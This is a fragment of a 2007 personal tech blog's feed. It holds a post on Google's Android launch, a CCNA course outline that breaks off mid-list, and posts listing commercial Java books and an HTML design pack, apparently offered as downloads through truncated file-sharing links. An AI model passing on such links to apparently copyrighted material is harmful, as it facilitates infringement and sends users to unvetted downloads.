title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/32442176/posts/default/7842826184348935024'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/32442176/posts/default/7842826184348935024'/><link rel='alternate' type='text/html' href='http://shaileshh.blogspot.com/2007/11/how-does-google-work.html' title='HOW DOES GOOGLE WORK'/><author><name>SHAILESH KHACHANE</name><uri>http://www.blogger.com/profile/07695143871954665962</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-32442176.post-6746287796102033026</id><published>2007-11-12T01:41:00.001-08:00</published><updated>2007-11-12T01:41:43.727-08:00</updated><title type='text'>JAVA BOOKS</title><content type='html'>Cohen_book java design and testing&lt;br /&gt;&lt;br /&gt;http://www.bobshare.com/file.php?fil...5558f1378803d4&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;EJB-book ED Roman&lt;br /&gt;http://www.bobshare.com/file.php?fil...1ba946b8fc5448&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Falkner jsp and servlets&lt;br /&gt;http://www.bobshare.com/file.php?fil...68e44f301b37ad&lt;br /&gt;&lt;br /&gt;Thinking+in+Java&lt;br /&gt;http://www.bobshare.com/file.php?fil...eb4536ac5925bc&lt;br /&gt;&lt;br /&gt;wap_material&lt;br /&gt;http://www.bobshare.com/file.php?fil...74e2b2cf014af0&lt;br /&gt;&lt;br /&gt;JakartaStrutsLive&lt;br /&gt;http://www.bobshare.com/file.php?fil...582904d50764b2&lt;br /&gt;&lt;br /&gt;j2ee_tutorial&lt;br /&gt;http://www.bobshare.com/file.php?fil...6969583c582194&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Database&lt;br /&gt;http://www.bobshare.com/file.php?fil...0b72751393ebe1&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;struts&lt;br /&gt;http://www.bobshare.com/file.php?fil...e7c8e267767534&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;J2EEArchitectsHandbookV1.0.0&lt;br /&gt;http://www.bobshare.com/file.php?fil...90b0bf863a7d77&lt;br /&gt;&lt;br /&gt;JavaDataObjects-RobinRoos-1.0&lt;br /&gt;http://www.bobshare.com/file.php?fil...1d1b26945e4c49&lt;br /&gt;&lt;br /&gt;Mastering+Jakarta+Struts&lt;br /&gt;http://www.bobshare.com/file.php?fil...fcb7cbc0fef2ca&lt;br /&gt;&lt;br /&gt;RMI_IIOP_JavaOne&lt;br /&gt;http://www.bobshare.com/file.php?fil...4f2500a2c35951&lt;br /&gt;&lt;br /&gt;developing EJBs&lt;br /&gt;http://www.bobshare.com/file.php?fil...f5728eba6cba94&lt;br /&gt;&lt;br /&gt;CodeNotes_for_J2EE&lt;br /&gt;http://www.bobshare.com/file.php?fil...718b9ef2209b1d&lt;br /&gt;&lt;br /&gt;ejbdesignpatterns&lt;br /&gt;http://www.bobshare.com/file.php?fil...7a5cde57cf3555&lt;br /&gt;&lt;br /&gt;EagleArchSpec&lt;br /&gt;http://www.bobshare.com/file.php?fil...81c60a0894ae5d&lt;br /&gt;&lt;br /&gt;devguide1_2_1&lt;br /&gt;http://www.bobshare.com/file.php?fil...f24ff0be80eebb&lt;br /&gt;&lt;br /&gt;J2EE&lt;br /&gt;http://www.bobshare.com/file.php?fil...52820776866451&lt;br /&gt;&lt;br /&gt;Code Conventions&lt;br /&gt;http://www.bobshare.com/file.php?fil...469523d25f6aaa&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Java FAQ&lt;br /&gt;http://www.bobshare.com/file.php?fil...63bbf14b5237ae&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;java interview questions&lt;br /&gt;http://www.bobshare.com/file.php?fil...41a50c94a670c6&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Java Threads, Third Edition&lt;br /&gt;http://www.bobshare.com/file.php?fil...ee12bf02b27c4a&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Professional Eclipse 3 for Java Developers&lt;br /&gt;http://www.bobshare.com/file.php?fil...b1d862ac92378a&lt;br /&gt;&lt;br /&gt;Beginning Programming with Java™ For Dummies®, 2nd Edition&lt;br /&gt;http://www.bobshare.com/file.php?fil...530af493fd17f6&lt;br /&gt;&lt;br /&gt;Professional Java™, JDK™ 5 Edition&lt;br /&gt;http://www.bobshare.com/file.php?fil...b0b4652e690966&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Professional Java Development with the Spring Framework&lt;br /&gt;http://www.bobshare.com/file.php?fil...0f3523d94bc771&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Mastering Enterprise JavaBeans™, Third Edition&lt;br /&gt;http://www.bobshare.com/file.php?fil...3a5f24725a1f60&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Java In A Nutshell 5th Edition&lt;br /&gt;http://www.bobshare.com/file.php?fil...2b5c6e13354eee&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Java Cookbook, 2nd Edition&lt;br /&gt;http://www.bobshare.com/file.php?fil...573f104c8253da&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Java Enterprise in a Nutshell 3rd Edition&lt;br /&gt;http://www.bobshare.com/file.php?fil...be7b4f25c9b5f6&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Enterprise JavaBeans, 3.0&lt;br /&gt;http://www.bobshare.com/file.php?fil...14d37367b35a4f&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Java™ IO, 2nd Edition&lt;br /&gt;http://www.bobshare.com/file.php?fil...9232ee4fba063a&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Teach Yourself Programming with Java in 24 Hours, FOURTH EDITION&lt;br /&gt;http://www.bobshare.com/file.php?fil...052302dc7996c2&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Better, Faster, Lighter Java&lt;br /&gt;http://www.bobshare.com/file.php?fil...c2bfa4b98bed19&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;QuickTime for Java A Developers Notebook&lt;br /&gt;http://www.bobshare.com/file.php?fil...5ba0d2b3eb2612&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Java 1.5 Tiger A Developer's Notebook&lt;br /&gt;http://www.bobshare.com/file.php?fil...8b80c0e7c31934&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Beyond Java&lt;br /&gt;http://www.bobshare.com/file.php?fil...ce4a5ea2a3e113&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Java Network Programming, 3rd Edition&lt;br /&gt;http://www.bobshare.com/file.php?fil...4445fb3c5be3d3&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Java Beans 1&lt;br /&gt;http://www.bobshare.com/file.php?fil...c1ba03951a69f6&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Java Beans 2&lt;br /&gt;http://www.bobshare.com/file.php?fil...9a220e284e3c0a&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Java Beans 3&lt;br /&gt;http://www.bobshare.com/file.php?fil...e4f29bddd79952&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Java Beans 4&lt;br /&gt;http://www.bobshare.com/file.php?fil...610762c9f211bc&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Java Beans.zip&lt;br /&gt;http://www.bobshare.com/file.php?fil...19965714489abe&lt;br /&gt;&lt;br /&gt;eBook - EJB Design Patterns (Marinescu, 2002)&lt;br /&gt;http://www.bobshare.com/file.php?fil...10f68998d60288&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/32442176-6746287796102033026?l=shaileshh.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://shaileshh.blogspot.com/feeds/6746287796102033026/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=32442176&amp;postID=6746287796102033026' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/32442176/posts/default/6746287796102033026'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/32442176/posts/default/6746287796102033026'/><link rel='alternate' type='text/html' href='http://shaileshh.blogspot.com/2007/11/java-books.html' title='JAVA BOOKS'/><author><name>SHAILESH KHACHANE</name><uri>http://www.blogger.com/profile/07695143871954665962</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-32442176.post-1976107823029734551</id><published>2007-11-12T01:39:00.001-08:00</published><updated>2007-11-12T01:39:42.714-08:00</updated><title type='text'>http://gigapedia.org/</title><content type='html'>Welcome to gigapedia.org!&lt;br /&gt;&lt;br /&gt;We review ebooks, journals, whitepapers and other electronic publications.&lt;br /&gt;Our encyclopedia of links and reviews covers all topics such as medicine, engineering, science and literature fully integrated with Amazon.&lt;br /&gt;Continue by browsing or searching our catalogue&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/32442176-1976107823029734551?l=shaileshh.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://shaileshh.blogspot.com/feeds/1976107823029734551/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=32442176&amp;postID=1976107823029734551' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/32442176/posts/default/1976107823029734551'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/32442176/posts/default/1976107823029734551'/><link rel='alternate' type='text/html' href='http://shaileshh.blogspot.com/2007/11/httpgigapediaorg.html' title='http://gigapedia.org/'/><author><name>SHAILESH KHACHANE</name><uri>http://www.blogger.com/profile/07695143871954665962</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-32442176.post-3749350519461050986</id><published>2007-11-10T00:49:00.001-08:00</published><updated>2007-11-10T00:49:58.525-08:00</updated><title type='text'>GOOGLE LUANCHES OPERATION SYSTEM FOR MOBILES</title><content type='html'>Google has launched an open operating system for mobile phones, called Android. It has also formed an Open Handset Alliance with 33 partners, promising "better, cheaper" mobile phones.&lt;br /&gt;&lt;br /&gt;What is Android?&lt;br /&gt;&lt;br /&gt;Android is a series of software tools built by Google designed to power a next generation of mobile phone handsets.&lt;br /&gt;&lt;br /&gt;The tools are based on Linux - and so are open source and free to use. It means any one can develop software for the platform and that Android itself can be tailored for individual phones, networks and potentially users.&lt;br /&gt;&lt;br /&gt;What is the Open Handset Alliance?&lt;br /&gt;&lt;br /&gt;Thirty four companies, including Google, have formed an alliance to promote Android and to develop features and handsets to take advantage of the platform.&lt;br /&gt;&lt;br /&gt;Companies include handset manufacturers such as LG, HTC, Motorola and Samsung, chip firms such as Qualcomm and mobile networks like T-Mobile and China Mobile.&lt;br /&gt;&lt;br /&gt;What is different about Android?&lt;br /&gt;&lt;br /&gt;Google is stressing the open nature of the platform. Operating systems on current phones - such as Windows Mobile, RIM, Symbian and Palm - are proprietorial and have to be licensed for use. Google believes it will be easier and quicker to develop new applications for Android than the other systems.&lt;br /&gt;&lt;br /&gt;What kinds of features and phones will we see?&lt;br /&gt;&lt;br /&gt;That is the big question. Google and its partners believe that the new phones will make the internet experience on a mobile "better than on a PC".&lt;br /&gt;&lt;br /&gt;But they have given little details about how this will be achieved, except to say Android includes an advanced web browser.&lt;br /&gt;&lt;br /&gt;Most mobile web experiences are hampered by the limitations of the browser and screen resolution of the handset.&lt;br /&gt;&lt;br /&gt;But devices such as the Apple iPhone and Nokia N800 - which are not powered by Android - are already showing the potential for a PC-like experience on a mobile device.&lt;br /&gt;&lt;br /&gt;Google and partners have said the new phones will be able to make web experiences, such as video, sharing content and social networking, much easier on a handset.&lt;br /&gt;&lt;br /&gt;The first phones are not due until the second half of 2008 but developers will be able to get a look at the Android tools from next week.&lt;br /&gt;&lt;br /&gt;Will my current phone work with Android?&lt;br /&gt;&lt;br /&gt;No. You will have to buy a new phone that is running the Android platform.&lt;br /&gt;&lt;br /&gt;Does that mean current phones are obsolete?&lt;br /&gt;&lt;br /&gt;Not at all. Rival platform systems, such as Symbian, Palm, Windows Mobile and Blackberry, will continue to exist on an ever expanding array of devices. The companies behind all these platforms say they are also working on more accessible web experiences on future devices.&lt;br /&gt;&lt;br /&gt;What has the reaction been to Google's big jump into mobiles?&lt;br /&gt;&lt;br /&gt;Mixed. Analysts are emphasising the impressive partners Google has secured. But it is clear that none of the handset partners in the alliance are ditching deals with existing platforms in favour of Android. Google's system will be part of the mix.&lt;br /&gt;&lt;br /&gt;Forrester analyst Charlie Golvin wrote: "Paradoxically, Android will increase complexity for developers initially since it represents yet another platform to support."&lt;br /&gt;&lt;br /&gt;Technology writer Om Malik has described the move as a "massive PR move, with nothing to show for it right now".&lt;br /&gt;&lt;br /&gt;He added: "The partners - with the exception of HTC and T-Mobile - are companies who are, in cricketing parlance, on the backfoot. Motorola, for instance is not exactly a bastion of handset excellence."&lt;br /&gt;&lt;br /&gt;What are the business implications of the Google deal?&lt;br /&gt;&lt;br /&gt;It is clear that Linux - the open source operating system - is going to be a big player in the mobile space. Android is based on Linux and there are other Linux-based mobile OSes in existence, such as OpenMoko, LiMo and Qtopia.&lt;br /&gt;&lt;br /&gt;ABI Research predicts that Mobile Linux will be the fastest growing smartphone operating system over the next five years.&lt;br /&gt;&lt;br /&gt;Linux-based smartphones will account for about 31% of such devices by 2012, the analysts have reported.&lt;br /&gt;&lt;br /&gt;Why is Google doing this?&lt;br /&gt;&lt;br /&gt;There are more people with mobile phones with access to the net right now than there are PCs with online connections.&lt;br /&gt;&lt;br /&gt;This is a massive potential market for Google - and every other online firm - that is yet to be tapped and developed.&lt;br /&gt;&lt;br /&gt;Improving the mobile web for all is a rising tide that will float all boats, including the Google battleship.&lt;br /&gt;&lt;br /&gt;More people online means more people using Google's services, which means more advertising revenue for the firm&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/32442176-3749350519461050986?l=shaileshh.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://shaileshh.blogspot.com/feeds/3749350519461050986/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=32442176&amp;postID=3749350519461050986' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/32442176/posts/default/3749350519461050986'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/32442176/posts/default/3749350519461050986'/><link rel='alternate' type='text/html' href='http://shaileshh.blogspot.com/2007/11/google-luanches-operation-system-for.html' title='GOOGLE LUANCHES OPERATION SYSTEM FOR MOBILES'/><author><name>SHAILESH KHACHANE</name><uri>http://www.blogger.com/profile/07695143871954665962</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-32442176.post-2423429539063445048</id><published>2007-11-10T00:46:00.001-08:00</published><updated>2007-11-10T00:47:42.705-08:00</updated><title type='text'>250 HTML DESIGNS</title><content type='html'>&lt;a set="yes" linkindex="33" href="http://www.dadesiforum.com/redirect.php?url=http://desipunter.com/downloads/softwares/%28To%20Thank%20Visit%20desipunter.com%29250_HTML_WebDesign_Secrets.rar" target="_blank"&gt;&lt;br&gt;Click here!&lt;br&gt;&lt;/a&gt;        &lt;br&gt;THERE YOU GO&lt;br&gt;TAKE CARE &lt;br&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/32442176-2423429539063445048?l=shaileshh.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://shaileshh.blogspot.com/feeds/2423429539063445048/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=32442176&amp;postID=2423429539063445048' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/32442176/posts/default/2423429539063445048'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/32442176/posts/default/2423429539063445048'/><link rel='alternate' type='text/html' href='http://shaileshh.blogspot.com/2007/11/250-html-designs_10.html' title='250 HTML DESIGNS'/><author><name>SHAILESH KHACHANE</name><uri>http://www.blogger.com/profile/07695143871954665962</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-32442176.post-6697565086850470375</id><published>2007-11-10T00:38:00.000-08:00</published><updated>2007-11-10T00:39:53.870-08:00</updated><title type='text'>CCNA VIDEO TUTORIAL</title><content type='html'>Cisco CCNA Certification Suite&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;More Info&lt;br /&gt;CODE&lt;br /&gt;http://www.testout.com/ccna/&lt;br /&gt;&lt;br /&gt;Description&lt;br /&gt;CODE&lt;br /&gt;Become a Cisco Certified Network Associate and master the knowledge and skills to proficiently install, configure, and operate LAN, WAN, and dial access for small networks through the TestOut CCNA certification course. To become CCNA certified the following courses are required:&lt;br /&gt;&lt;br /&gt;Download Course Outline&lt;br /&gt;CODE&lt;br /&gt;http://www.testout.com/docs/ccna.htm&lt;br /&gt;&lt;br /&gt;Course Outline&lt;br /&gt;CODE&lt;br /&gt;Videos: 50&lt;br /&gt;Demonstrations: 33&lt;br /&gt;Animations: 16&lt;br /&gt;Simulations: 161&lt;br /&gt;Fact Sheets: 112&lt;br /&gt;Exam Questions: 550&lt;br /&gt;Exams: 61     &lt;br /&gt;    &lt;br /&gt;&lt;br /&gt;Contents:&lt;br /&gt;&lt;br /&gt;0.0 Introduction&lt;br /&gt;&lt;br /&gt;    0.1 Introduction&lt;br /&gt;&lt;br /&gt;        0.1.1 CCNA Certification&lt;br /&gt;        0.1.2 Using the Router Simulator&lt;br /&gt;        0.1.3 Available Commands&lt;br /&gt;&lt;br /&gt;1.0 Networking Concepts (44 questions)&lt;br /&gt;&lt;br /&gt;    1.1 OSI Model Layers&lt;br /&gt;&lt;br /&gt;        1.1.1 OSI Model Introduction&lt;br /&gt;        1.1.2 Uses of the OSI Model&lt;br /&gt;        1.1.3 The Lower OSI Layers&lt;br /&gt;        1.1.4 The Upper OSI Layers&lt;br /&gt;        1.1.5 OSI Model Layers&lt;br /&gt;        1.1.6 Connection-oriented vs. Connectionless&lt;br /&gt;        1.1.7 ExamSim Questions - Section 1.1&lt;br /&gt;&lt;br /&gt;    1.2 TCP/IP&lt;br /&gt;&lt;br /&gt;        1.2.1 The TCP/IP Protocol Suite&lt;br /&gt;        1.2.2 TCP/IP Protocols&lt;br /&gt;        1.2.3 IP Addresses&lt;br /&gt;        1.2.4 IP Address Classes&lt;br /&gt;        1.2.5 Special Addresses&lt;br /&gt;        1.2.6 ExamSim Questions - Section 1.2&lt;br /&gt;&lt;br /&gt;    1.3 Device Communication&lt;br /&gt;&lt;br /&gt;        1.3.1 Data Encapsulation&lt;br /&gt;        1.3.2 Data Encapsulation Process&lt;br /&gt;        1.3.3 Service Data Units and Encapsulation&lt;br /&gt;        1.3.4 Internetwork Message Routing&lt;br /&gt;        1.3.5 Message Routing Facts&lt;br /&gt;        1.3.6 ExamSim Questions - Section 1.3&lt;br /&gt;&lt;br /&gt;2.0 LAN Design (49 questions)&lt;br /&gt;&lt;br /&gt;    2.1 Ethernet&lt;br /&gt;&lt;br /&gt;        2.1.1 Ethernet Architecture&lt;br /&gt;        2.1.2 Collision Detection and Recovery&lt;br /&gt;        2.1.3 Ethernet Architecture Facts&lt;br /&gt;        2.1.4 Ethernet Standards&lt;br /&gt;        2.1.5 Half- and Full-Duplex&lt;br /&gt;        2.1.6 Upgrading to FastEthernet&lt;br /&gt;        2.1.7 ExamSim Questions - Section 2.1&lt;br /&gt;&lt;br /&gt;    2.2 Bridging and Switching&lt;br /&gt;&lt;br /&gt;        2.2.1 Bridges and Switches&lt;br /&gt;        2.2.2 How a Bridge Works&lt;br /&gt;        2.2.3 How a Bridge Learns&lt;br /&gt;        2.2.4 Bridge Facts&lt;br /&gt;        2.2.5 How a Switch Works&lt;br /&gt;        2.2.6 Switch Facts&lt;br /&gt;        2.2.7 ExamSim Questions - Section 2.2&lt;br /&gt;&lt;br /&gt;    2.3 Routing&lt;br /&gt;&lt;br /&gt;        2.3.1 Routers and Routing Tables&lt;br /&gt;        2.3.2 Routing Facts&lt;br /&gt;        2.3.3 ExamSim Questions - Section 2.3&lt;br /&gt;&lt;br /&gt;    2.4 LAN Segmentation&lt;br /&gt;&lt;br /&gt;        2.4.1 LAN Segmentation&lt;br /&gt;        2.4.2 Segmentation Facts&lt;br /&gt;        2.4.3 ExamSim Questions - Section 2.4&lt;br /&gt;&lt;br /&gt;3.0 Cisco Devices (51 questions)&lt;br /&gt;&lt;br /&gt;    3.1 Connecting Devices&lt;br /&gt;&lt;br /&gt;        3.1.1 Connecting Devices&lt;br /&gt;        3.1.2 Making a Console Connection&lt;br /&gt;        3.1.3 Making a Virtual Terminal Connection&lt;br /&gt;        3.1.4 Connection Facts&lt;br /&gt;        3.1.5 ExamSim Questions - Section 3.1&lt;br /&gt;&lt;br /&gt;    3.2 Command Line Interface&lt;br /&gt;&lt;br /&gt;        3.2.1 Cisco IOS&lt;br /&gt;        3.2.2 Router Command Modes&lt;br /&gt;        3.2.3 Command Mode Prompts and Commands&lt;br /&gt;        3.2.4 Command Help&lt;br /&gt;        3.2.5 Command Help Facts&lt;br /&gt;        3.2.6 Use Command Help&lt;br /&gt;        3.2.7 Advanced Editing Features&lt;br /&gt;        3.2.8 Editing Features Facts&lt;br /&gt;        3.2.9 Command History&lt;br /&gt;        3.2.10 Command History Command List&lt;br /&gt;        3.2.11 Turn Off the Command History&lt;br /&gt;        3.2.12 Turn On the Command History&lt;br /&gt;        3.2.13 Change the Command History Size&lt;br /&gt;        3.2.14 View the Command History&lt;br /&gt;        3.2.15 ExamSim Questions - Section 3.2&lt;br /&gt;&lt;br /&gt;    3.3 System Startup&lt;br /&gt;&lt;br /&gt;        3.3.1 Startup Sequence&lt;br /&gt;        3.3.2 Startup Facts&lt;br /&gt;        3.3.3 Using Setup Mode&lt;br /&gt;        3.3.4 ExamSim Questions - Section 3.3&lt;br /&gt;&lt;br /&gt;    3.4 Managing System Files&lt;br /&gt;&lt;br /&gt;        3.4.1 Managing Startup Files and IOS Images&lt;br /&gt;        3.4.2 Router Memory&lt;br /&gt;        3.4.3 Manipulating Configuration Files&lt;br /&gt;        3.4.4 Copy Command List&lt;br /&gt;        3.4.5 Specifying Alternate Boot Locations&lt;br /&gt;        3.4.6 Backing Up and Upgrading IOS Images&lt;br /&gt;        3.4.7 IOS Boot and Upgrade Location Command List&lt;br /&gt;        3.4.8 ExamSim Questions - Section 3.4&lt;br /&gt;&lt;br /&gt;    3.5 Using Show Commands&lt;br /&gt;&lt;br /&gt;        3.5.1 Viewing Router Configuration&lt;br /&gt;        3.5.2 Show Command List (Basic)&lt;br /&gt;        3.5.3 View Router Information&lt;br /&gt;        3.5.4 ExamSim Questions - Section 3.5&lt;br /&gt;&lt;br /&gt;4.0 Initial Router Configuration (31 questions)&lt;br /&gt;&lt;br /&gt;    4.1 Hostname and Interface Descriptions&lt;br /&gt;&lt;br /&gt;        4.1.1 Setting Router and Interface Identification&lt;br /&gt;        4.1.2 Router and Interface Identification Command List&lt;br /&gt;        4.1.3 Modify the Router Name&lt;br /&gt;        4.1.4 Set an Interface Description&lt;br /&gt;        4.1.5 Set Interface Descriptions&lt;br /&gt;        4.1.6 Configure Router and Interface Identification&lt;br /&gt;        4.1.7 ExamSim Questions - Section 4.1&lt;br /&gt;&lt;br /&gt;    4.2 System Passwords&lt;br /&gt;&lt;br /&gt;        4.2.1 Setting Router Passwords&lt;br /&gt;        4.2.2 Setting Line Passwords&lt;br /&gt;        4.2.3 Password Command List&lt;br /&gt;        4.2.4 Set Privileged Mode Passwords&lt;br /&gt;        4.2.5 Set Enable Passwords&lt;br /&gt;        4.2.6 Exploring Enable Passwords&lt;br /&gt;        4.2.7 Set the Console Password&lt;br /&gt;        4.2.8 Set a Virtual Terminal Password&lt;br /&gt;        4.2.9 Set Router Passwords&lt;br /&gt;        4.2.10 Set Console and Line Passwords&lt;br /&gt;        4.2.11 Prevent VTY Access&lt;br /&gt;        4.2.12 Control Router Access&lt;br /&gt;        4.2.13 ExamSim Questions - Section 4.2&lt;br /&gt;&lt;br /&gt;    4.3 Banners&lt;br /&gt;&lt;br /&gt;        4.3.1 Setting Router Banners&lt;br /&gt;        4.3.2 Banner Command List&lt;br /&gt;        4.3.3 Modify Router Banners 1&lt;br /&gt;        4.3.4 Modify Router Banners 2&lt;br /&gt;        4.3.5 Modify Router Banners 3&lt;br /&gt;        4.3.6 Modify Router Banners 4&lt;br /&gt;        4.3.7 ExamSim Questions - Section 4.3&lt;br /&gt;&lt;br /&gt;    4.4 Interfaces&lt;br /&gt;&lt;br /&gt;        4.4.1 Router Interfaces&lt;br /&gt;        4.4.2 Setting the IP Address&lt;br /&gt;        4.4.3 Interface Command List&lt;br /&gt;        4.4.4 Set an IP Address&lt;br /&gt;        4.4.5 Assign IP Addresses&lt;br /&gt;        4.4.6 Examining Interface Status&lt;br /&gt;        4.4.7 Examining Serial Interface Status&lt;br /&gt;        4.4.8 Interface Statuses&lt;br /&gt;        4.4.9 Using ping and traceroute&lt;br /&gt;        4.4.10 Exploring Ping&lt;br /&gt;        4.4.11 ExamSim Questions - Section 4.4&lt;br /&gt;&lt;br /&gt;    4.5 Back-to-Back Routers&lt;br /&gt;&lt;br /&gt;        4.5.1 Back-to-Back Router Configuration&lt;br /&gt;        4.5.2 Back-to-Back Configuration Facts&lt;br /&gt;        4.5.3 Exploring the Clock Rate&lt;br /&gt;        4.5.4 Configure Back-to-Back Routers 1&lt;br /&gt;        4.5.5 Configure Back-to-Back Routers 2&lt;br /&gt;        4.5.6 Troubleshoot Serial Connections 1&lt;br /&gt;        4.5.7 Troubleshoot Serial Connections 2&lt;br /&gt;        4.5.8 Troubleshoot Serial Connections 3&lt;br /&gt;        4.5.9 ExamSim Questions - Section 4.5&lt;br /&gt;&lt;br /&gt;    4.6 Cisco Discovery Protocol (CDP)&lt;br /&gt;&lt;br /&gt;        4.6.1 Cisco Discovery Protocol (CDP)&lt;br /&gt;        4.6.2 Configuring CDP&lt;br /&gt;        4.6.3 CDP Command List&lt;br /&gt;        4.6.4 View CDP Information&lt;br /&gt;        4.6.5 Exploring CDP&lt;br /&gt;        4.6.6 Disable CDP on an Interface&lt;br /&gt;        4.6.7 Disable CDP on the Router&lt;br /&gt;        4.6.8 Configure CDP&lt;br /&gt;        4.6.9 Configure CDP Advertisements&lt;br /&gt;        4.6.10 Reset CDP Timers&lt;br /&gt;        4.6.11 ExamSim Questions - Section 4.6&lt;br /&gt;&lt;br /&gt;5.0 Switch Configuration (33 questions)&lt;br /&gt;&lt;br /&gt;    5.1 Switch Basics&lt;br /&gt;&lt;br /&gt;        5.1.1 Managing Switches&lt;br /&gt;        5.1.2 Switch Components&lt;br /&gt;        5.1.3 Switch Configuration Modes&lt;br /&gt;        5.1.4 Switch Configuration Command List&lt;br /&gt;        5.1.5 Configure the Enable Password&lt;br /&gt;        5.1.6 Configure the Hostname and Password&lt;br /&gt;        5.1.7 Configure Port Descriptions&lt;br /&gt;        5.1.8 Configure a Switch&lt;br /&gt;        5.1.9 Configure CDP Parameters&lt;br /&gt;        5.1.10 Disable CDP for a Port&lt;br /&gt;        5.1.11 Setting the Switch IP Address&lt;br /&gt;        5.1.12 Switch IP Address Facts&lt;br /&gt;        5.1.13 Configure the Switch IP Address&lt;br /&gt;        5.1.14 Exploring Ping from a Switch&lt;br /&gt;        5.1.15 Exploring the Default Gateway&lt;br /&gt;        5.1.16 Exploring Switch Port Status&lt;br /&gt;        5.1.17 ExamSim Questions - Section 5.1&lt;br /&gt;&lt;br /&gt;    5.2 Virtual LANs (VLANs)&lt;br /&gt;&lt;br /&gt;        5.2.1 Virtual LANs (VLANs)&lt;br /&gt;        5.2.2 VLAN Frame Tagging&lt;br /&gt;        5.2.3 Frame Tagging Facts&lt;br /&gt;        5.2.4 VLAN Facts&lt;br /&gt;        5.2.5 Configuring VLANs&lt;br /&gt;        5.2.6 VLAN Command List&lt;br /&gt;        5.2.7 Create a VLAN&lt;br /&gt;        5.2.8 Create a VLAN with a Name&lt;br /&gt;        5.2.9 Modify VLAN Membership&lt;br /&gt;        5.2.10 Exploring VLAN Communication&lt;br /&gt;        5.2.11 ExamSim Questions - Section 5.2&lt;br /&gt;&lt;br /&gt;    5.3 Trunking&lt;br /&gt;&lt;br /&gt;        5.3.1 Trunking&lt;br /&gt;        5.3.2 Trunking Command List&lt;br /&gt;        5.3.3 Configuring Trunking&lt;br /&gt;        5.3.4 Configure Trunking&lt;br /&gt;        5.3.5 VLAN Trunking Protocol (VTP)&lt;br /&gt;        5.3.6 VTP Facts&lt;br /&gt;        5.3.7 Exploring VTP Modes&lt;br /&gt;        5.3.8 Configure the Access Mode&lt;br /&gt;        5.3.9 ExamSim Questions - Section 5.3&lt;br /&gt;&lt;br /&gt;    5.4 Spanning 